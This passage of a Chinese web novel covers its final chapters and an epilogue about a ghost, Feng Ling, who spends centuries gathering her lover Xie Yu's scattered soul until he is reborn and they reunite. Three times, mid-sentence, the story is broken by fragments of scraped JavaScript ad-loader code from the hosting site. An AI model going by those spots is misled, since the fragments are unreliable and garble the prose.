“……这算什么?打一棒子,再给颗甜枣?好人坏人全叫你们做了,我和解玉深受其害,却连半分选的余地都没有。” 封灵轻嗤一声,神色却有些复杂难明。 “你当我们是别有用心也好,是醒悟悔改也罢,左右是对你俩都有好处的事情,”阎魔王又捋起了胡子,“若换作我是你,才不管那些有的没的,先把眼前的好处拿到手再说。左右也不会比现在的情况更糟了,不是吗?” “……还真是你们能说出来的话。” 封灵回以一声轻哼,语气却好了不少。 “女娃娃,那便后会有期了。” 阎魔王收敛了神色,认真道。 “后会无期才是……” 封灵低声嘟囔了一句,终是消失在黄泉尽头。 …… 时隔许久回到人间,封灵竟陡然生出恍如隔世之感。 她其实并不知道该去哪里找寻解玉,也不知道何时能找全解玉的魂魄,但好歹有了微末的希望,不至于让她像个无头苍蝇似的乱撞。 行走在繁华的街市,封灵一时有些茫然不知前路。若按阎魔王的说法,她其实该先去一趟北地城隍庙的——毕竟纪苏文就在那里。 可偏偏又是乌贺的地盘。 一想到这里,封灵跃跃欲试的心思便淡了下去……去了也不知道该如何面对他们,还不如彼此疏远些,还能维持些面上的平稳,也省得她一张嘴便是恶语争锋。 心中一片混乱,脚下便也漫无目的起来。 耳边的喧闹声一点点变小,封灵似有所觉地抬头,才发现自己竟在无意识间走到了酆家的院宅。或者说,是曾经的酆家宅院。 曾经血污遍地的院宅,如今又恢复了它一贯的富丽奢靡。只可惜旧痕尽褪,连住在里面的人也是新的一波了。 “老兄,我上次进城的时候,这地方还是国师他老人家的地盘呢,怎么如今连匾额也换掉了?” 有过路者发出一声疑语。 “嘘……现在可没有国师了!” 临近的摊贩将人拖到一旁,小声道,“酆家的人错了差事,竟敢在祭祀历代皇帝的大典上弄出岔子,惹得上头那一位震怒不说,全族更俱数被投下大狱问罪。” “……不仅如此,前段日子又被查出了许多仗势欺人的丑事。一桩桩,一件件,根本无从抵赖。最后论罪判刑,有的杀头,有的充军流放,还有的受了杖刑。酆家数百口人丁,拢共也没剩几个活的了。连这座大宅子,也被那一位抄家清算后赏给其他人了。” 又有人凑了过来,“之前就有传言说国师失了鬼神庇护……先是从自家宅子里失踪,又被人撞见满身是血地出现在百望山。要我说,这无风不起浪,那些传言保不齐都是真的,否则酆家辉煌了千年,怎么会落得如今的下场!” 角 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 落里,一群人不住地唏嘘。 封灵仗着自己是只鬼,这会儿毫无顾忌地站在一旁,光明正大地听着墙角。 酆家倒台,这件本该让封灵极度畅快的大喜事,如今经由旁人闲话传进耳里,却再无法在封灵心底掀起任何的波澜……就像是路边的一株小草,这些人是死是活,对如今的她而言也再没有更多的意义。 若是解玉还活着,她或许还会…… 意识到自己在想些什么的封灵不由得哑然失笑。摇了摇头,封灵抛开脑袋里那些不切实际的念头,正欲换个地方,却听见身后传来一声极轻的呼唤—— “……鬼大人?是鬼大人吗?” 莫名有些耳熟。 封灵若有所思地盯了眼尚在角落里议论不休的人群,确认只有自己听见那句话后,敛目想了几瞬,才迈着不紧不慢地步子转身回望。 果然是酆灵英。 此刻正穿着粗布麻衣,拎着才从药铺买来的几包药,整个人显得清瘦了不少。 酆灵英有些激动,唇瓣几度开合,最后却还是踟蹰不前。 「找个能说话的地方吧。」 封灵看出了她的犹豫,干脆主动开口。 酆灵英显然松了口气,转身走了两步,又停下回望,见封灵稳稳跟在身后,才彻底放下心来。 一人一鬼,一前一后,走了约莫有半柱香的工夫,才终于在一处破庙前停下。 “未曾听解公子提起过您的名讳,又怕唐突唤您先祖会有不妥,这才以‘鬼大人’三字相称,还请您勿要怪罪。” 酆灵英深深一俯首,显然已知道了封灵真正的身份。 越过酆灵英的肩膀,封灵的目光似有若无地朝更深处瞥了一眼,顿了顿方道:“我单字一个灵,你随意称呼就是。” “灵……” 酆灵英显然意识到了封灵与她名姓中的相似之处,下意识咽回未说尽的话,女子的表情有些复杂。 “方才在角落里听闲话,说酆家没剩几个活人了……你活着,你身后那个也还活着,其他人呢,还有谁?” 封灵丝毫不觉得自己的话有剜心之嫌,只看着酆灵英一副不知从何说起的模样,自觉替她开了个话头罢了。 酆灵英的脸白了一瞬,“还剩条命留在望京的,就只有我跟酆容了……其他的,不是流放充军,就是不堪牢狱之苦,受刑后伤重不治逝去了……” “看来你们姐弟俩的运气不错。” 封灵似真似假地赞了一句。 “酆家对您有愧,便是以全族性命相赔也是该的,”酆灵英沉声道,“灵先、姑娘,若我和弟弟的命能换您怨气消散,您便都拿去吧!” 听着,倒不像是一无所知的样子。 “……你知道多少?” 封灵看向女子暗藏痛苦的眼睛,忽然问道。 “去百望山找寻幽魂草的那个夜晚,不止是解公子梦见了千年前的那场过往,灵英也做了同一场梦。” 酆灵英苦笑道。 80. 人间终逢 “……你看到了我的脸?” 封灵问道。 酆灵英摇头,“梦里的我站得很远,四周都是雾蒙蒙的一片,只能隐约瞧见一个白衣女子的背影……我该是不认识的,可那背影却与我在画卷上见过的一模一样。” 酆灵英盯着封灵的脸看了又看,再回想起当日梦中所见之景,尤觉得荒谬至极,心中更是戚戚然……哪怕她根本没有立场说这种话。 毕竟,她也姓酆。 封灵对上酆灵英的视线,“你就没想过,那些东西都是假的,是幽魂草为了夺你性命而故意设下的幻象?” “……若可以,我也希望那是幻象。” 酆灵英面露苦笑,“酆家先祖在鬼祸中救死扶伤,得了酆都大帝的青眼,最后被赐以驭鬼之术嘉奖……这是我从记事起便一直听在耳朵里的话。” “哪怕后来年岁渐大,我看到也知道族中许多子弟做下的糟乱之事,却也从来没想过他们是以这种方法为酆家积下千载的基业。” 对自己血脉相连的家人下手,又试图以无数的溢美之词遮掩自己当年犯下的罪过……而她,竟也一直这样相信着。 “不止是这一场梦境罢,”封灵想起酆宅满地的血污,还有眼前女子被禁锢在棺木里的情景,“你是发现了什么,又找到了什么,这才惹来酆珏对你下手……我还该感谢你的,否则也不会想起那么久远的一切。” 酆灵英沉默下来,算是默认。 她当时自噩梦中醒来,还分不清幻境与现实的时候,抬头便看见了解玉与她如出一辙的难看的脸,又从前者陡然改变的态度中察出了端倪,这才生出几分隐约的猜测。 回家以后,她旁敲侧击地问了许多人,又试图从浩如烟海的书册典籍中找到可以拼凑出当年真相的记载……也是到那时她才知道,有些事情,真到了抽丝剥茧的那一日,往往都是有迹可循的。 无非是查得越深,失望也就越深罢了。 而解玉,也是在那个时候找上的她。 只是还不等酆灵英挣扎出解困之法,杀机便先一步向她涌来——与梦中所见场景别无二致,她被自己的先祖偷袭,又在尚能呼吸之时被拖进了棺材当中。 若她就此死去,大概也会积怨难消,宁成恶鬼也不肯入轮回,就跟如今站在她面前的封灵一样。 “灵英一直想成为您这样的人,想同您一般驱鬼诛邪,造福四方百姓……从在藏书阁中看到您的画像,还有撰于书册中的记载的那一日起,灵英的想法就没有变过。” 酆灵英稍显干涩的声音在空气中回荡,“可我还是在发现真相的那一刻犹豫了,甚至想过要不要假装不知,或者干脆帮他们隐瞒……我原来也会有私心,我就是个立身不正的人,又谈何像您一样呢?” “当时解公子劝诫我的那些话,除了他自己的考虑,大抵也有您的几分意思在里头吧?可笑我自己,明知道他们这样做是错的,却总想着家里几百上千年都这样过了,一时半会料也不会出事。总归留给我的时间还长,等我接任家主以后再慢慢改变也不迟……” 酆灵英似乎压抑了许久,“是我太自以为是了。若我能早早约束族中子弟,又或者及时规劝我爹,至少也不会沦落成今天这样无法挽回的局面。” 酆灵英眼中的痛苦几乎要喷涌而出。 “解玉做的事情,当中可有你的手笔?” 封灵忽而问道。 “……有。” 酆灵英又是一阵沉默,最后还是点了头。 “亲手送自己的父亲去死,这滋味好受吗?” 这话说的刻薄,更无异于在酆灵英的伤口处撒盐,可那也不是封灵该考虑的,“他是恨你,还是感谢你让他解脱呢?” “……我也是后来才知道,酆家先祖存世一事,是每一代家主心知肚明却又死守不言的秘密。我如今只是少家主,所以我爹他从未对我提起只字片语,可等我来日接任家主一位,便也会被要求立誓保守这个秘密到死的那一天。” 酆灵英并没有急着回答,反而提起了另一件事情。 “我爹他是知情的……他知道,他什么都知道!” 女子将牙关咬得死紧,“酆家是如何得来的今日,又为此对您做下过什么事情……他都知道,却还是什么都不说,甚至和其他族人一样,坦然受下这些本就来路不正的权势富贵,和凌驾于众人之上的地位。” 酆灵英垂在袖下的手一点点攥紧,“我此番行径,无异于背弃了整个家族,对我爹而言更是不孝……可这是赎罪,赎酆家的罪,也赎我自己的罪。” “是为了赎罪,还是为了让自己心安?” 封灵反问道。 “两者皆有吧,”酆灵英扯了扯嘴角,“灵姑娘,我爹他坏事做尽,活该一死。可对我做下的事情,既没有生恨,也不曾觉得感激。你知道他临死前对我说了什么吗?” “……他说,这就是因果报应,躲也躲不开的。” 酆灵英缓缓道。 重又迎上封灵平静无波的双眸,“自然,我虽侥幸捡了条命回来,却也没想过要独善其身。酆家的下场是皇帝定的,其中亦有我推波助澜的缘故。来日身死,我大概也会因弑父的罪过被判下地狱受罚吧……时间上虽晚了些,终归是能给灵姑娘你赔罪的。” 话到此处,酆灵英的脸上终于多出几分坦然。 封灵定定注视了酆灵英许久,半晌发出一声轻喃,“果然还是不像哪……” 酆灵英和封灵,名虽相似,人却不同,又怎么会是同一个结局呢? 破庙里隐约传出几声压抑不止的咳嗽,封灵眉心微微一动,“酆姑娘,你今后打算如何?” 酆灵英显然也听见了,只克制着没有回头,面上却露出少许焦色,“酆容在大狱里受了些折磨,人虽没事,身体却有些垮了。我打算带他找一处村镇落脚,照顾他彻底好全以后,便自去四方游历。” 听着,倒像是一早便考虑好的事情。 “哪怕没有酆家,也没有驭鬼术,我依旧可以靠自己的本事闯出一片新的天地,帮扶百姓,也为自己的家族挣名。” “……你还想挽回酆家的名声?” 这话说得有些自相矛盾,封灵左右无事,便干脆由着性子多问了一句。 “不会再有酆家了。” 酆灵英摇头,“酆这个字,原也不是我们自己的姓。灵姑娘,余生漫漫几十载,若可以,我希望世人记住的名字是封英……灵姑娘的姓,我本该的名。” 酆灵英目光炯炯。 “那我便祝你前路坦坦,顺遂无恙。”封灵这下是真愣住了,好一阵才找回自己的声音,“……此后山高水远,就此不逢。” 酆灵英谢过封灵前半截话,却对后半截话态度模棱,嘴里只问道:“解公子今日没陪在您的身边吗?若可以,我还是想在离开以前,向他郑重道一声谢。” 封灵的表情有一瞬间的僵硬,旋即又恢复了正常,只道:“他?被我赶出去找驱鬼的活计了。” “凭他现在的功业,再不上进些,死后就只剩转世投胎这一条路了。我可没耐心去人间再守他一次……还是个喝了孟婆汤什么也不记得的。” 既有找回解玉魂魄的办法,个中情由便没必要与人深谈了,封灵随意编了个借口。 “那还真是可惜了,便请灵姑娘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 替我转达一句问候罢……若可以,还希望来日魂归地府之时,是您与解公子在黄泉等着我,如此也算是与故人重逢了。” 酆灵英最后道。 “……酆姑娘,一路顺风。” 封灵则回以淡淡一笑。 …… 从破庙外离开,封灵重又踏上了寻找解玉的旅途。 她原以为自己很快就能与解玉再逢,却不想这条路远比她想象中更加漫长,长到停留人间的第十年,她才在纪苏文的帮助下找到第一缕残魂。 虚弱,且神志不清。 那之后,又是数年的一无所获。 时间久了,封灵有时也生出几分无边际的怀疑,猜想是不是酆都大帝骗人上了瘾,所谓的希望不过是又一场的谎言。等她被一次又一次的失望耗去了全部心神,便又会得过且过般以鬼身重归地府所用……否则,怎么她都快将人间走遍了,却还是找不见解玉呢? 从望京一路南下,封灵走过了很多地方,有解玉尚在身边时行经的村镇,也有她从前办差时路过的县府,甚至也去过她猜测中解玉可能留有执念的所在……但始终难觅解玉的痕迹。 十年复十年,百年复百年,人间朝代更迭,连皇帝都换过好几轮了,解玉的魂魄也不过勉强找齐了十之八九,唯剩一缕情魄不知所踪。 封灵有时候也在想,她如今依旧执着想要找回解玉的原因还剩下什么……是为了当日那一句‘不后悔’?还是在她不知道的角落化为了难解的执念?亦或是因将凡人扯进她自己因果中而生出的少许愧疚? 封灵不知道。 她也曾想过先将找到的片缕魂魄投入轮回,可又在孟婆一众的劝阻下歇了心思。若这样做,转世的解玉只会有两个结局——早夭或痴傻一生。 那是她不愿意看到的。 再没有第二条路可选,封灵也依旧在人间徘徊,日日复月月,月月复年年。终于有一日,她厌倦了无休止的寻找,选择将自己留在解玉屋院所在的那处水乡。 那之后,她的身边便热闹了起来。 孟婆、纪苏文、黑白无常,偶尔还能见到“路过”的某殿阎王,至于其他的鬼差、阴兵们便更不必说了……这些她曾经的“同僚”,像是商量好了的一般,开始扎堆似的出现在她落脚的这处窄仄小院里——不请自来的那种。 封灵起先还冷言驱赶,次数多了,便也学会了眼不见为净,只将他们视作路边的花草树木,从来也懒得招呼。日子就这样一天天地重复下去,仿佛又回到了从前。 除了没有解玉。 …… 又是一年中元,地府灵官们最忙碌的日子。 也是封灵难得可以不被打扰的日子。 除了最开始的无所适应,之后每年的这一日,她都会去与解玉初见的那座桥上闲晃一圈……她还抱着解玉魂魄会留在此地的念头,也不想就这样把人忘记。 只是,今年的天公似乎格外不作美,出门前还只是微微阴沉的天色,到这会儿便已经滴滴答答地落下雨来。 时间尚早,封灵也不欲就此返家,便干脆化出一把赤红的油纸伞,也学着身边人漫步雨中的悠闲情态,嬉耍般踩着脚下或深或浅的水洼,又不时驻足停留。 封灵一开始还有些收敛,未几便仗着凡人看不见她,动作也愈发地肆意起来。正自得其乐之时,手肘却不偏不倚地撞上一盏油皮纸灯。 下意识转身,封灵的油纸伞在一瞬间跌落在地。 雨丝模糊了她的视线,却盖不住眼前人再熟悉不过的面容。 “鬼大王……” 她与他,终在人间重逢。 (正文完) 81. 番外某篇 “……阿灵,这样真的可以吗?” “我其实觉得,重新捡回道士的营生也挺好的。轻车熟路,挣功业也快些……” 解玉看着桌上摞得快比他人还高的一大堆书册,整个人显得格外地生无可恋。 “你别逼我学头悬梁锥刺股那一套,”封灵躺在侧旁的摇椅上,手里同样捏了本册子,闻言头也不抬,“快些将它们都看掉,最好今年能下个场,否则便又要耽误一整年工夫了。” “驱鬼除邪也是能积攒功业的……” 解玉试图挣扎,气势却弱了些。 “不行。” 封灵将视线从眼前的话本子上挪开,语气称得上和善可亲……如果无视她正狠狠攥紧手里书册的动作的话。 “你此生灵力不差,重操旧业是容易,可万一就差那么一点儿,最后被地府收去做了灵官怎么办?不对,你甚至还做不上灵官,那些个混账家伙,惯会骗人、压榨新鬼的,定只会让你从打杂的阴兵开始做起!” 封灵越说越气,“纪苏文就是个例子,他还跟阎魔王沾亲带故呢,当年入地府时不也只捞了个鬼差做。更别提如今了,都过去不知道多少年了,却还是在城隍庙里打转,半点没有再回地府的征兆……解玉,你还是一劳永逸,念书做官,造福百姓,让他们为你塑像,遍受人间香火,将来去天上做仙官!” “……什么叫只捞了个鬼差做?!” 阎魔王又一次不请自来,身后跟着面露愧色的纪苏文,“要不是他小子难忘旧情,一早便该在老夫的安排下升任判官了,又怎会被贬到人间来?这就算了,还阳奉阴违不干正事,生怕自己回地府就见不到那只情煞鬼了……如此不长进,老夫就是想拔擢他也难哪!” 说着,又恨铁不成钢地往纪苏文的方向狠狠剜了一眼。 解玉连忙起身,先朝阎魔王一拱手,又熟稔地对着纪苏文点头一示意,这才拉了拉封灵的袖角,努着嘴尝试着又一次的调停。 “他不上进,您上进不就行了?” 封灵将袖角从解玉的手里抽出来,依旧是没个正形地仰躺在摇椅上,勉强朝阎魔王抬了抬手,算是见礼,“说到底,还不是您不够有本事,否则将秋茹姑娘的名字录进职官的名册中去,纪苏文自然勤勉上进,一心奔着回地府去了不是?” “嗬,你这女娃娃,”阎魔王吹胡子瞪眼,“嘴怎么还是这么利……好不容易把解家小子的魂养好了,如今跟你朝夕相处、成双成对的,怎就没让你的性子变温柔些?” “你如今未得允准便擅自进我家门,我也不曾将你们直接打出去,还要如何温柔?” 封灵这下子连眼皮也懒得掀了,但也只是嘴上说的不客气罢了,也不是真的要跟谁争个高低。 那日于桥上重逢,封灵委实怔愣了好一会儿,第一反应不是高兴,而是谢必安的皮又痒了——那日之前,她已经几百年没找到解玉的踪迹了,甚至连孟婆他们都在劝封灵放弃,只是封灵始终不肯松口罢了。后来,谢必安也不知道是哪里起的念头,某次竟当着封灵的面,直接演了场解玉魂散的把戏,被封灵一眼识破不说,更毫不留情地将这个不靠谱的白无常打得几十年没出过地府,后来便也不了了之。 这一次,她原也以为是谢必安的卷土重来,直到感觉到身上带着的其他魂魄隐隐有被吸引之意时,才确定眼前虚幻到快要看不清的魂身确系解玉无疑。 而后便直接裹了所有的魂魄冲到地府,里外转了一圈,才终于在第十殿内找到了正喝茶闲话、自在悠哉的酆都大帝,也终于将解玉重新投入了轮回。 只是解玉的魂魄太过虚弱,一时半会根本聚不住为人时所需要的诸多灵气,只好又为草木身辗转了许多世,才终于换回了一次为人的机会——便是如今这一世。 至于为何转世以后还能认出封灵,便得多谢孟婆的睁一只眼闭一只眼了。不止是孟婆,其他几殿的阎王似乎都有意无意地行了方便,以至于转世后的解玉仍是第一世的名姓,第一世的出生,甚至是第一世的相貌……除了在封灵的要求下转而踏上科举的道路。 如此这般,便是封灵对地府所为再看不过眼,也摆脱不了她和解玉确实受了前者恩惠的事实。哪怕心中还有隔阂,却也不好再对上门示好的阎魔王一众继续冷眼相待,最后便成了如今的局面——从眼不见为净到偶尔的不算客气的问十句答一句。只算是两边各退一步,因解玉重又转生而有了新的联结。 “听说你想让解玉不做道士改考官,老夫实在觉得稀奇,所以专门过来瞧瞧热闹。” 阎魔王将手拢在袖子底下,毫不客气地走了进来,又绕着堆满书册的桌子走了一圈,不时发出啧啧的感叹。 “……你消息倒是灵通,也不知道这次又是哪路耳报神透的风?”封灵合上话本子,又随手掷上书桌,“怎么,阎魔王是嫌自己手里管的鬼还不够多,如今还想要掺和进普通凡人的前途了?” “女娃娃,话可不能这么说,”阎魔王一捋胡子,“实则是老夫与解玉小子有故,见你让他舍近求远,这才好心提醒一句……明明对道士这个行当已经驾轻就熟了,你倒好,硬逼着人家去做普通书生。你只怕他被我们坑骗,怎么就不怕他卷进朝野纷争,最后落个身首异处的下场?” 封灵的眼睛一下子瞪了过来,“呸!哪有你这样咒人的,生怕他有个善终一般……我还在这儿呢,人间有谁能对他下手?” 阎魔王干脆闭上了嘴,一双眼睛却不住地往封灵身上瞄,意思不言而喻。 “……你!” 封灵眯起了眼睛,须臾满脸不爽地看向解玉,“解公子,解道长!我让你为难了吗?我逼你了吗!” 不曾想战火会波及到自己身上,解玉反应了一下,而后干脆利落地摇头,“没有,都是我自己愿意的!” “做仙官有什么好,一个个的都是些斩断情根的冷心之人,哪有咱们这样好说话,连人鬼殊途这样的事情都能放过去,”阎魔王阴恻恻地开口,“你家解玉要是真去天上做仙官了,只怕是要遗下你这个糟糠妻了。” 看着因这句话眼底生出动摇的解玉,封灵狠狠一拍桌面,从鼻腔深处发出一声轻哼,“别以为我不知道,天宫可是有月老司的,还养了棵不知活了多少年的三生树,怎么没姻缘?我可都听说了,前段日子还有个颇受看重的仙官十里红妆、大张旗鼓地娶了位下界的小妖,如今夫唱妇随,恩爱的很哪!” 若非如此,她也不会让解玉改走地仙的这条路。 阎魔王将胡子捋得更加起劲,“那月老司是给凡人牵红线的,可管不着仙人们的姻缘……至于你口中的那个仙官么,老夫可比你知道的多。他确实与下界的一个小妖在一起了,却也是经历了一遭魂散的磨难,还累得冥主帮了不少的忙,就跟当初的解道长一样,不过是侥幸才得的圆满。” 这描述听得有些耳熟,只是封灵还来不及细想,便被阎魔王又一次扯出解玉的话激出了脾气,“你——” “您就少说两句罢……” 纪苏文面露无奈,“咱们今日哪里是来瞧热闹的,不是应了泰媪大人的吩咐,专程来给解道长送凝实魂魄的汤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 药的吗!” “……凝实魂魄?” 封灵顿时放弃了和阎魔王争论,看向纪苏文的目满透着紧张,“不是说已经养好了吗,怎么还要凝实魂魄?” “如今只是把三魂七魄聚在了一起,又靠着前些世的草木身留下了完整的魂身,可这样还远称不上牢固,”纪苏文回忆着孟婆的话,“泰媪大人也是担心解道长养得太慢,魂身再度散开,所以翻了许多的古籍,好不容易才找出这个凝实魂魄的药方,又特意熬煮好了让我们带过来的。” 说罢,抬手便化出一碗还泛着热气的黑褐色汤药,又动作小心地递向封灵。 封灵面露狐疑地接过,又凑近鼻尖轻嗅了两下,并没有发现什么异常,却也没有立刻递给解玉,反而搁回了桌面,“你们别是又来骗我的吧……” “灵姑娘,那药方我也是看过的,上面确实记录着凝实魂魄的功效,泰媪大人不会对您说谎的,更不会在您做了这么多的事情后再去害解道长。” 纪苏文试图打消封灵的顾虑。 “对,别喝,喝了命就没了。” 阎魔王站在一旁,阴恻恻地开口。 “封灵儿——” 封灵上下唇瓣翕动,还欲说些什么,忽听见院外传来泠泠一道呼唤。 是孟婆。 “得,正主来了,你自己去问吧!” 阎魔王两手一摊,颇有些无赖的意味在里头。 “……你、你等着!” 封灵狠狠一甩袖,竟真被阎魔王激得跑出去了。 纪苏文哎了一声,回头看了眼一脸无所谓的阎魔王,抱歉地朝解玉道了声勿怪,便紧追着封灵而去。 屋内只剩阎魔王和解玉两个。 “……小子,你还不打算告诉女娃娃,她身上还留有你的半缕情魄吗?” 阎魔王脸上的神色略收了收,如此问道。 解玉看着正在院子里和孟婆说着什么的封灵,眼中的情意几乎要满溢而出,“不了,左右也不是什么大事,无非是我的魂魄养的慢些罢了。” “慢些?” 阎魔王轻嗤一声,“你这是将自己和她绑在了一起,若她哪日再出事,你留在她身上的情魄碎裂不说,自己也是活不了的。” “解玉甘之如饴。” 说这话时,解玉依旧不曾将视线从院里的封灵身上收回,嘴角更是漾出一抹淡笑。 他也是到这一世才知道,人的情魄原是牵系执念与情意的所在。而他在濒死之时,眼里心里全是封灵和他们曾经的过往,所以他的情魄一分为二,一半藏于封灵身上,一半飘到了他与封灵初见的那座桥下。 这也是封灵长时间没发现最后一缕魂魄的原因——碎裂的魂魄本就是极微弱的存在,更遑论又缺了一半。 但这也已经不重要了。 他终于还是回到了封灵的身边。 “……解玉,你出来!” 解玉看见孟婆与封灵说了什么,前者跺了跺脚便朝他遥遥一挥手,而后传来清亮的一声呼唤。 “来了!” 解玉笑着回应了一声,而后朝阎魔王歉意地一点头,便再不停留地朝他的执念而去。 至于积攒功业么…… 自然是封灵说什么,便是怎么了。 解玉迎向那双看向他的澄净黑眸,惊讶于自己在阎魔王的浑说下,还能想起他们一开始谈论的这件事,而后弯起一双笑眼—— “阿灵!” 今后的每一日,他都可以这样唤她了。 真好。